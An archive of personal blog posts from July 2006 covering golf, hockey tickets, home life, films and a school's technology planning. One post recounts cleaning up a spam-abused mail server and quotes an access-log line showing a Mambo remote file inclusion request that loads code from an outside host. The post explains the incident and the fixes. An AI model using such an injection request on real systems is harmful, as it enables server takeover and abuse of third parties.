7 Minute Miles

Baker National

Posted Monday, July 31st, 2006 10:20 am GMT -5 in Golf at 10:20 AM

Two weeks ago my normal weekend group paid a visit to Baker National in the Baker Park Reserve. The first hole, a 466 yard par 4, just missed the cut in the recent Pioneer Press 18 Best Golf Holes series– its distinctive red barn backing the green provides a striking start to a round. Baker National is a Certified Audubon Cooperative Sanctuary, which has meant that the grass on the fairways seems a little longer and the bugs a little worse than other courses, but it’s a nice trade-off.

Our round was very enjoyable and the course management is taking pace of play very seriously. The group in front of us was warned twice and the ranger gave us each a logo ball while apologizing for the slow play (which really wasn’t that bad). I had my usual 2006 round–fine off the tee, but still losing strokes while I adjust to the iron changes from my lesson. An average 92 that could be a 85 without too many improvements.

Originally published by DK on July 31, 2006 at 10:20 am

Minnesota Wild Ticket Update

Posted Monday, July 31st, 2006 09:19 am GMT -5 in Family,Hockey at 9:19 AM

For the first time ever, no one on the season ticket list for the Wild were offered upper level tickets to buy–current season ticket holders took all of the open cheap seats. My aunt and uncle went earlier in the day and purchased lower level end tickets (the picture above is taken from their seats), so we went that evening just to explore and use the 30% discount at the hockey lodge.

Steve Griggs, one of the Wild execs, took my kids on a tour through the tunnel to sit on the Zamboni and pose in front of the goals (pictures in the private area of the photo section). We made good use of the hockey lodge discount and everyone in the family picked up something. I placed my bets on Demitra having a good season and bought a white number 38 replica jersey.

As for tickets, there were a lot of nice lower and club level seats available, but nothing we could afford this year. My relatives are selling a portion of their seats, so we bought five games:

  • Tuesday, October 10 vs. Vancouver
  • Wednesday, November 29 vs. San Jose
  • Saturday, December 23 vs. Detroit
  • Tuesday, January 16 vs. Edmonton
  • Thursday, February 8 vs. Florida

I’d also like to get tickets to Washington (10/12), Anaheim (10/27), Chicago (12/5), Dallas (2/20), Colorado (3/11) and St. Louis (4/7). I’m hoping I can get some good upper level single game or season ticket holder turnbacks for those games. Time for some hockey…DK

Originally published by DK on July 31, 2006 at 9:19 am

Minnesota Wild Select-A-Seat

Posted Wednesday, July 19th, 2006 12:12 am GMT -5 in Hockey at 12:12 AM

The Minnesota Wild sent me this card saying “Your Time is Now.” I’ve only been on the season ticket waiting list for half a year, so I’d be really surprised if that’s true, but I get to go down to the Xcel Center next week to find out. They also have 30% off all merchandise at the Hockey Lodge and free pictures on the Zamboni, so I can’t lose either way.

Next season should be an exciting time to be a Wild fan. The moves they made in the off season were really shocking in my opinion, but I’m glad the owners finally opened up the checkbook and realized they needed to reward the fans for their support and patience. Re-signing Gaborik was a no-brainer, but the additions of Demitra, Johnsson, Parrish and Carney were inspired (assuming they all stay healthy). I’m also glad to see Rolston, Bouchard, Koivu and Boogaard re-signed…DK

Originally published by DK on July 19, 2006 at 12:12 am

Outside Lights

Posted Monday, July 17th, 2006 11:39 pm GMT -5 in Personal at 11:39 PM

Our house is closing in on its sixth anniversary this fall and we’ve been very happy with it overall. This month we needed to replace the first exterior items–the outside lights. The old style is pictured on the left; the new ones on the right.

The other house excitement this week: hornets in the soffit over the garage. There are a few new pictures of the house in the photos section, including shots of the freshly stained deck and the dining room that now houses the table from my grandparents where I grew up eating holiday dinners…DK

Originally published by DK on July 17, 2006 at 11:39 pm

Powerball Dreams – Willingers

Posted Friday, July 14th, 2006 08:34 pm GMT -5 in Golf at 8:34 PM

14, 22, 27, 30, 32, PB 31 – Those are the numbers I need to appear for the Powerball drawing on July 15th so I can carry out my dream of buying Willingers Golf Club and the surrounding land. Rumor has it that they are planning to build houses on that course, along with converting the par-4 eleventh hole to a par-3 (creating a par 71 course). If it were my course, that’s not exactly what I’d do.

The Twin Cities needs an annual PGA Tour stop–or at least participate in the new Western Open rotation. The two current PGA calibre courses, Hazeltine and TPC Twin Cities, are already spoken for, so a new course has to be built or an existing course renovated.

Willingers is a viable option if some changes were made. First, it needs added length. The current tips are listed at 6,809 yards, with a rating of 74.4 and a slope of 150. Compare this to the tournament tees at Hazeltine with a rating of 77.5 and a slope of 154 (that rating does not list yardage, but the 2002 PGA Championship played to 7,360 yards and some holes have been lengthened for the 2006 U.S. Amateur).

While there is some latitude to add new tees within the existing course boundaries, the key to this plan would be to buy the surrounding farmland (and, of course, the elusive gun club land). This would make room for new tournament tees on holes 3, 8, 9, 10, 11, 13, 16 and 17. This would also provide space for hospitality tents and on-site tournament parking (with no shuttle buses needed).

The driving range could be enlarged and shifted more to the south to allow for a larger clubhouse to be constructed. The existing building is nice, but it is not large enough for tournament activities. I would move the current practice green and build a Tudor-style clubhouse in the mold of Interlachen that would have scenic vistas over the 1st tee and the 9th and 18th greens.

Fine dining restaurant, casual grill, juice & coffee cafe, wireless internet access, outdoor patios, banquet and meeting facilities, fully-stocked pro shop, locker rooms, heated underground parking, library and business center facilities would all be a part of my ultimate clubhouse. Heck, throw in a mid-sized theater/auditorium for movies, presentations and guest speakers–it could serve as the media center for interviews during tournament week too. In fact, the whole building should be wired for the broadcast and technology requirements of a PGA Tour event.

The new range should include state-of-the-art practice facilities, with its own building for video analysis, golf simulators and year-round instruction. I’d ask Gerald McCullagh to head a new Willingers Golf Academy and bring along Dee Forsberg-Voss too.

The south metro is lacking in private clubs and I would plan to take the course private, but also create an innovative way to allow some open play in exchange for charitable support of a Willingers Golf Foundation. I drafted a plan to create a Minnesota Golf Foundation several years ago with the Minnesota Golf Association, but there was little interest from the MGA in the format as proposed. A Willingers Golf Foundation could serve as the benefitting charity of the new tour stop, with specific beneficiaries to be determined by a Foundation board. Allowing public play one day a week, with all proceeds benefitting the Foundation, would allow the general public continued access to the championship course the pros play.

Private clubs like Hazeltine are strictly golf clubs, while clubs like Interlachen are traditional country clubs, with tennis courts and swimming pools. I think both styles have their advantages, but since this would be my dream club, I’d add at least an indoor/outdoor pool and exercise equipment to increase options for families. Tennis has not been a big part of my life, but I would like racquetball/handball courts if space permits. Golf season in Minnesota is too short–additional year-round options make membership more valuable.

Northfield is just far enough away to be out of the hustle and bustle of the Twin Cities, yet close to both downtowns and the airport. Interstate 35 is not always the most traffic-free stretch of road in town, but it’s better than most areas that host events on the coasts. Hotels are an issue, as there are limited options south of the river. Players willing to commute from the Downtown/Bloomington/Edina/Eden Prairie areas, however, have a much wider selection of accommodations. I strongly dislike housing on golf courses, but would consider a few “cabins” similar to those at Augusta National (as long as they remained far from play).

Competition from local sports teams and other sporting events, including the 3M Championship and the Scholarship America Challenge, would be an issue for any new PGA Tour event. I would trade both current golf tournaments for the PGA if given the opportunity–the politics can be dealt with. There are plenty of well-to-do corporations in town that could support the cause.

The clock is ticking at Willingers. I’ll be watching those numbers closely Saturday night…DK

Originally published by DK on July 14, 2006 at 8:34 pm

Pop’s Family Cafe

Posted Friday, July 14th, 2006 04:38 pm GMT -5 in Food at 4:38 PM

Based on Dara Moskowitz’s advice (my favorite local food critic), we decided to pay a lunch visit today to Pop’s Family Cafe on the East Side of St. Paul. The onion rings were incredible and the fried chicken with homemade mashed potatoes and gravy were a delicious, guilty treat. Easy to get to off of I-94 in a beautiful older building with a great view of downtown St. Paul. Officially added to the lunch rotation…DK

Originally published by DK on July 14, 2006 at 4:38 pm

Mail Server Hackage

Posted Friday, July 14th, 2006 02:37 pm GMT -5 in Technology at 2:37 PM

Yesterday I was notified by our server colocation provider (the excellent digital.forest in Seattle) that one of our mail servers was being used to send junk mail. We currently use the mail server included with Mac OS X Server, which is based on Postfix. I have been testing an alternative solution called ECM on a different server and I was hoping it was this test setup that had been compromised. Unfortunately, it was our main production box.

I wrote about email earlier this year and my opinion of email gurus hasn’t changed–they deserve every cent they make. I’m getting up to speed as fast as I can, but unfortunately it’s causing problems for our partners. As Chuck Goolsbee (V.P. Technical Operations at digital.forest) writes in the support area of the digital.forest website:

The greatest risk from this exploit (beyond being associated with being a spammer) is having all mail from your domain, and ultimately our network rejected.

Chuck thought it looked like a PHP form exploit and I used Apple Remote Desktop (ARD) to look at the server. That box needed the new 10.4.7 Server upgrade, so I thought I’d install that first and restart the server. I’ve done upgrades this way a number of times and it usually works fine. This time, the machine restarted and I could ping it, but ARD could not connect. I tried to SSH into the box and while I could get a password prompt, it would time out after entry.

I needed to have someone at digital.forest manually restart the box, but did not know the proper procedure to get this done quickly. About an hour later, I caught Chuck coming out of a meeting and our server downtime was over. All of our websites were still down, but after I found the SSL passphrase, we were back in business on the web side of things. Now it was time to troubleshoot the junk mail issue.

The Apple discussion groups had a thread called “Spam mail being sent through our XServe” that sounded similar to what we were experiencing:

We run a Mac OSX Server (updated to 10.4.7) on an Xserve and we currently have an issue where we are having spam email sent through our system. This has only started to happen recently, and our Mac OSX server has been handling our email happily for well over 3 years now. We have noticed that all of the emails that are being sent are being queued in our mail server and are being sent from the address:-

www@ourcompany.com (our domain)

Some of the recommendations that came out of that thread included:

  • Change all user passwords
  • Enforce strong passwords
  • Remove shell access for all users who do not require it
  • Delete the mail queue
  • Change your default SSH port (away from port 22)
  • Use /etc/syslog.conf to create an auth log of people trying to login
  • Turn off webmail or put it behind a protected realm
  • Check for PHP code injection

Chuck forwarded me a number of notices from AOL with a subject line of “Client TOS Notification.” These included a header that identified my main server as the culprit. I later noticed that one of my mail accounts also received a number of these notices, but the Apple Mail program automatically classified them as junk and I did not see them.

I started reviewing the default web server access_log and saw some entries that started on July 8th:

69.93.231.98 – – [08/Jul/2006:14:54:17 -0700] “GET http://216.168.61.173//mambo/index2.php?_REQUEST=&_REQUEST
%255boption%255d=com_content&_REQUEST%255bItemid%255d=1
&GLOBALS=&mosConfig_absolute_path=http://westarn.org/text.txt?
&cmd= HTTP/1.1” 200 600

This looked like a code injection as described in the link above and Chuck confirmed this. I did some checking on known Mambo vulnerabilities and looked to see where this directory appeared on our server. We used Mambo for an old test project, but had moved to Joomla some time ago.

There were a number of test directories in the default web root for Mac OS X Server (/Library/WebServer/Documents), including one Mambo folder. After a number of issues with the Apple server GUI (Server Admin), we stopped using it and now do all of our configs using the command line. There was still a config file that Server Admin had created for default requests to our IP address that pointed to the default root directory. So if you entered our server’s IP address in a browser, you viewed the default Mac OS X Server web page and not our main www.studio-4.com site. This also opened up access to the bad Mambo folder when combined with the IP address. I removed all of the old test directories and deleted the default Apache config file so that entering the server’s IP address now displays the Studio 4 main site.

Chuck reported that our server sent out thousands of junk emails in the past five days. I was curious to see where these showed up in logs (if they did), so I looked in the main mail.log. There were a number of items of interest, including an indication of messages deferring in the queue. I looked at the mail queue and found 875 messages to various accounts I’ve never seen before, all from the www@mail.studio-4.com address. I deleted them all and hope they were placed there because the hole in the server via Mambo had been removed. So far, no new messages have queued from that address.

I’ve decided I need to learn more about the appropriate RFCs, such as creating abuse accounts for all of our domains. Most of our PHP applications are part of projects, so I trust those developers to keep up with exploits, but I need to always keep current with the latest versions (WordPress, Joomla, etc.). For the few custom pages I do in PHP, I need to review those pages to make sure they are as hardened as I can make them.

At times like this, it makes me think I’m in the wrong business. It amazes me what people try to do with resources that do not belong to them. Thankfully, we have good organizations like digital.forest to help identify and resolve these issues so we can focus on the more creative and money-making opportunities the technology provides…DK

Originally published by DK on July 14, 2006 at 2:37 pm

The Meadows at Mystic Lake

Posted Friday, July 14th, 2006 01:27 am GMT -5 in Golf at 1:27 AM

Yesterday I had the pleasure of joining noted golf course architect Garrett Gill at his newest creation–The Meadows at Mystic Lake. Director of Golf Greg McKush and Course Superintendent Pete Nolan were scheduled to join us, but had to drop out before the round started (pictured above in center shot – McKush, Nolan and Gill).

I took along my camera and a selection of shots can be viewed in the photo gallery. I noticed afterwards that my Nikon D70 is suffering from dust bunnies, so some of the shots have noticable artifacts in them that I need to correct in Photoshop.

Garrett has designed a number of my south metro favorites, including Willinger’s and Legends Club. He has another hit with The Meadows and I told him he needs to start a south metro “Garrett Gill Golf Trail” to promote these great courses.

Garrett and I played almost even on the front nine, shooting 45 and 44, respectively. The wheels came off my game on the back nine, however, and we finished 90, 97. The nines are evenly matched in difficulty in my opinion–I just played really poorly on the back, taking several penalty shots for lost balls and balls in the water.

The Meadows is located on the site of the former Lone Pine course, formerly owned and operated by Greg McKush’s family. The Shakopee Mdewakanton Sioux Tribe purchased the course and started work on creating an entirely new layout. With the addition of the beautiful clubhouse, the Meadows begins it’s first full season this year with a regular daily rate of $85 (including required GPS-equipped cart). It is very apparent that a lot of thought, planning and money went into developing a first-rate facility to complement the casino and hotel. Also new is the Meadows Grill, located inside the clubhouse. Although the menu was somewhat limited, the food we had after the round was excellent (club sandwich with shoestring fries).

It was really enjoyable hearing Garrett talk about some of the design elements as we worked our way around the course. All of the fairways are bentgrass and there are concrete cart paths around the entire course. Streams, wetlands and other water features come into play on a number of holes and the addition of the animal sculptures and abundant wildflowers create a unique golfing experience. My vote for most scenic hole was the par-3 fourteenth, a beautiful downhill tee shot to a green fronted by water and surrounded by trees and long grasses. The finishing holes are all strong and I’d really like to have another shot at that back nine. Special thanks to Garrett, Greg and Pete for a wonderful morning…DK

Originally published by DK on July 14, 2006 at 1:27 am

Online Registration for 2006 Women’s Tapemark Now Open

Posted Monday, July 10th, 2006 11:59 pm GMT -5 in Golf at 11:59 PM

A charity I support with complimentary web development and hosting has opened online registration for their 2006 women’s event:

If you know anyone who would be interested in playing this one-day event on Monday, September 18th at the beautiful Southview Country Club, please send them to the link listed above. The cost is $150 per golfer and secure online credit card payment is available via PayPal.

Proceeds help support people with developmental and learning disabilities and their families…DK

Originally published by DK on July 10, 2006 at 11:59 pm

Garbage on PBS

Posted Sunday, July 9th, 2006 01:27 am GMT -5 in Concerts,Music at 1:27 AM

While up late working on adding items to the First Day Cover database, I stumbled across the lovely Shirley Manson singing with Garbage on the PBS show Soundstage. I really should watch for this program more–they had a great Chris Isaak Christmas show last year.

Garbage is one of the few groups I really wanted to see live, but never did. Since I went to school in Madison, it seems really dumb that I haven’t. I noticed Golden Smog has a new album and is coming to First Avenue later this month. Better get a ticket before I regret that too…DK

Originally published by DK on July 9, 2006 at 1:27 am

Steve Borsch is Connecting the Dots

Posted Saturday, July 8th, 2006 02:13 am GMT -5 in Personal at 2:13 AM

One of my old Apple contacts, Steve Borsch, had his website listed as the Minnesota Blog of the Day on City Pages this week. Looks like he’s having a good time in my favorite city in the world, London…DK

Originally published by DK on July 8, 2006 at 2:13 am

Pirates of the Caribbean

Posted Saturday, July 8th, 2006 01:09 am GMT -5 in Movies at 1:09 AM

Along we most of the free world, we went to see Pirates of the Caribbean: Dead Man’s Chest last night. I liked it a lot, although I thought it dragged a little in the middle (two and a half hours in total). My wife loves Johnny and I love Keira, so we were both happy (although this is definitely a Jack Sparrow movie). I think my favorite character, though, was Ragetti, played by actor Mackenzie Crook (Gareth in the original BBC series The Office). The visual effects and stunts are incredible and I don’t think I’ve ever seen so many names listed during the credits to a movie (I can’t imagine what the break-even amount must be). Great ending, too.

I practically grew up with the original Pirates attraction at Disneyland and the Magic Kingdom. The version in Disneyland Paris is really good too. When I read they were going to add Jack Sparrow Audio-Animatronics figures to the rides, I was a little disappointed. After seeing some videos online of the additions and watching the new movie, I’ve changed my mind. Disney has taken a great ride and created a great movie series worthy of the name…DK

Originally published by DK on July 8, 2006 at 1:09 am

HSRA Staff Development

Posted Saturday, July 8th, 2006 12:25 am GMT -5 in Work at 12:25 AM

The past two days at HSRA were spent kicking off our summer staff development. While I abhor meetings as a general principle, I think we achieved a lot during the sessions.

Thanks to the coordination of a semi-outsider as facilitator, the sessions were kept on pace and on target. We started with a review of the mission statement of High School for Recording Arts:

The mission of HSRA is to provide youth the opportunity to achieve a high school diploma through the exploration and operation of the music business and other creative endeavors.

From there, we formed four summer committees: technology, studio, education and administration. I was assigned the lead on the technology committee and we set about identifying what we are good at and where we need to improve.

Here are the respective lists:

Good Things:

  • Student Network Accounts
  • Online Validations
  • High-End Studio & Video Technology Tools
  • Contributed to Safe Environment (Security Cams)
  • Provide Student Internet Access for Research
  • Decreased Student-to-Computer Ratio
  • New Graphics Lab
  • Added Student Email
  • Student Information System (Project Excellence)

Need Improvement:

  • Enhance Student Usage of Technology
  • Reduce Junk Mail
  • Reduce Online Student Distractions
  • Increase Student Interaction with Excellence
  • Online Planners
  • Digital Portfolios
  • Project Tracking
  • Course Catalog
  • Maintain & Monitor Network Storage Capacity
  • Research & Enhance Computer-Based Curriculum
  • Staff/Student Blogs & Podcasts
  • Automation of All Access Pass
  • Research NWEA Alternatives
  • Online Registration
  • Library Technology
  • Attendance/Lunch Solutions

The second list will form the basis of our summer development work for 2006. Personally, I’m very excited for the future of the program and am glad we had the opportunity to evaluate where we are, where we want to be and to get valuable feedback from the other three groups…DK

Originally published by DK on July 8, 2006 at 12:25 am

Fun on the Fourth

Posted Wednesday, July 5th, 2006 10:37 pm GMT -5 in Family,Personal at 10:37 PM

How I spent my Fourth.

For those with the password, more pictures in the private photos section. Special thanks to my aunt and uncle who are such nice hosts every year…DK

Originally published by DK on July 5, 2006 at 10:37 pm

Golf Lessons with Dee

Posted Monday, July 3rd, 2006 01:20 am GMT -5 in Golf at 1:20 AM

Last week I broke down and decided it was time for golf lessons. My handicap index moved from 13.7 last fall to 17.0 currently, so it was time to do something. Instead of throwing new equipment at the problem, I decided to contact my old friend Gerald McCullagh and he referred me to Dee Forsberg-Voss at the University of Minnesota.

Dee participated in the Women’s Tapemark last fall and was teaching out of Braemar before joining Gerald this year. Along with Fred Habermel and U of M assistant golf coach Andrew Tank, they have founded the Golf Institute of Minnesota, located at the U of M Les Bolstad practice center.

My one-hour lesson started at 9:30am last Thursday by discussing my goals and going over my equipment. The clubs in my bag passed inspection, with the exception of my driver. Dee said I could buy a used 3-year-old driver for around $100 that would be better than my old Titleist 975D. I really love that club, but it’s probably time to retire it soon.

Next, we talked about my goals. Aside from the obvious goal of a lower handicap, I mentioned there are two things I noticed about the pros I saw at Winged Foot that I don’t do: 1) deadly with wedges and 2) they always take divots with their irons. Wedges have always been my least accurate clubs and I’ve never taken the “good” kind of divot. I spent a lot of time watching Ernie Els practice at the Open and he has the swing I most want to emulate: silky smooth, perfect rhythm, seemed almost like slow motion, yet powerful and always finishing into the same slot position behind his head.

Dee thought my grip was fine (if a little strong), so she started by teaching me a new pre-shot routine for irons that helps with alignment, ball position and posture. I used a sand wedge for almost the entire lesson, which was great, as I’ve always hated hitting that club. We used a large mirror and a round, PVC swing guide to help give me visual feedback (the video camera was in use). The other drill we did covered follow-through position (with visions of Ernie and Annika). I now know where I should be and how it feels, but I need to practice this more. It also stretched some muscles I usually don’t feel, so I’ll need to fix that.

I’ve played two rounds since then–Southview the following day and Prestick today. I hit the range at Southview before that round and everything felt wrong. I skulled shot after shot and was getting a little worried. The actual round was OK (I shot 95), but I had a quadruple-bogey 7 on a par 3 and left a lot of easy strokes on the course. Today’s round was better (92 from the tips) and I had a number of solid iron shots. I’m having a great year off the tee so far (knock on wood) and that continued today. Putting was also OK, so all I need now if to find a solution to chipping around the green and I’ll be all set. Dee and I talked about that, but I need to practice her suggestions more off the course before I change my on-course routine–trying to mix and match is just costing me strokes now…DK

Originally published by DK on July 3, 2006 at 1:20 am
 

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